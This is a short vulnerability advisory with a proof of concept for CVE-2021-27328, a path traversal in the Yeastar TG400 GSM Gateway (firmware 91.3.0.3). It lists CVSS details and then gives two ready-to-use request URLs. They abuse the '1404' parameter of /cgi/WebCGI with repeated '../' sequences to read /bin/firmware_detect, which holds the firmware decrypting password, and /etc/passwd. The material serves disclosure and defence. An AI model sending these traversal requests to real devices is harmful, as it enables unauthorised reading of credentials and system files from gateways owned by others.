Yeastar TG400 GSM Gateway 91.3.0.3 Path Traversal

2021.02.27
Credit: SQSamir
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2021-27328
CWE: CWE-22


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3 This is a Proof of Concept for CVE-2021-27328 Example to get firmware decrypting password http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect to get /etc/paswd http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd


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